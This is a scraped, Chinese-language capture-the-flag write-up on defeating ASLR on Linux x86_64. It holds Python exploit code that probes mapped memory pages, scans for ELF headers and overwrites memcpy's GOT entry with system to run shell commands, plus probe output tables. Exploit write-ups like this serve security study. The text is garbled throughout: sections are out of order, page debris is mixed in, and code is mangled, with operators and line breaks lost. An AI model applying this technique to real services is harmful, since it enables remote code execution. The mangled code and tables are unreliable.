7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

我们可以用这个技巧搜索地址 7fe3d6a5b000 - 0x1000:

lastMappedPage = 0x7fe3d6a5a000

我们每次暴力破解半个字节(half byte),最坏情况下需要 165 = 80 次查询。```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 漏洞利用

最后,我们已经了解了关于内存映射所需的一切,现在只需利用一个 write-what-where 原语来实现代码执行。

为了实现代码执行,我将 libkyle.so 的 memcpy@got 条目覆盖为 system@libc。

### 获取 libkyle 基址
幸运的是,libc 基址和 libkyle.so 基址与 lastMappedPage 之间存在固定偏移。我起初并不知道这一点,所以编写了一个 egghunter 来搜索 `\x7fELF`(ELF 可执行文件头),但最终并没有派上用场。```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

Overwrite libkyle's memcpy@got 并获取 RCE

幸运的是,用 system 覆盖 memcpy@got 就足以拿到 flag,并成功领取那份丰厚的赏金 :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 flag!

你可以在[这里](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py)找到漏洞利用代码。

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

此外还有一个 100% 可靠的漏洞利用版本,见[这里](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py)。

## 5. 结论

希望你喜欢这篇 writeup,如果有不清楚的地方,请随时联系我 [@nick0ve](https://twitter.com/nick0ve) :)
下载工具
mem跨越 16TB 边界?
0x7fb03b55e010否
0x7fa03b55d010否
0x7f903b55c010否
0x7f803b55b010否
0x7f703b55a010否
0x7f603b559010否
0x7f503b558010否
0x7f403b557010否
0x7f303b556010否
0x7f203b555010否
0x7f103b554010否
0x7f003b553010否
0x7ef03b552010是
0x7ee03b551010是
0x7ed03b550010是
0x7ec03b54f010是

/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

root@kitploit:~

print ('{:#x}'.format(get_off(0xffffffff, 0)))

Result = 0xffffffff00000001

That's the same as doing this

M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

print ('{:#x}'.format(get_off(0xffffffff, 0)))

root@kitploit:~
地址地址是否已映射?
0x7fe3f0000000否
0x7fe3e0000000否
0x7fe3d0000000是
0x7fe3df000000否
0x7fe3de000000否
0x7fe3dd000000否
0x7fe3dc000000否
0x7fe3db000000否
0x7fe3da000000否
0x7fe3d9000000否
0x7fe3d8000000否
0x7fe3d7000000否
0x7fe3d6000000是
0x7fe3d6f00000否
0x7fe3d6e00000否
0x7fe3d6d00000否
0x7fe3d6c00000否
0x7fe3d6b00000否
0x7fe3d6a00000是
0x7fe3d6af0000否
0x7fe3d6ae0000否
0x7fe3d6ad0000否
0x7fe3d6ac0000否
0x7fe3d6ab0000否
0x7fe3d6aa0000否
0x7fe3d6a90000否
0x7fe3d6a80000否
0x7fe3d6a70000否
0x7fe3d6a60000否
0x7fe3d6a50000是
0x7fe3d6a5f000否
0x7fe3d6a5e000否
0x7fe3d6a5d000否
0x7fe3d6a5c000否
0x7fe3d6a5b000否
0x7fe3d6a5a000是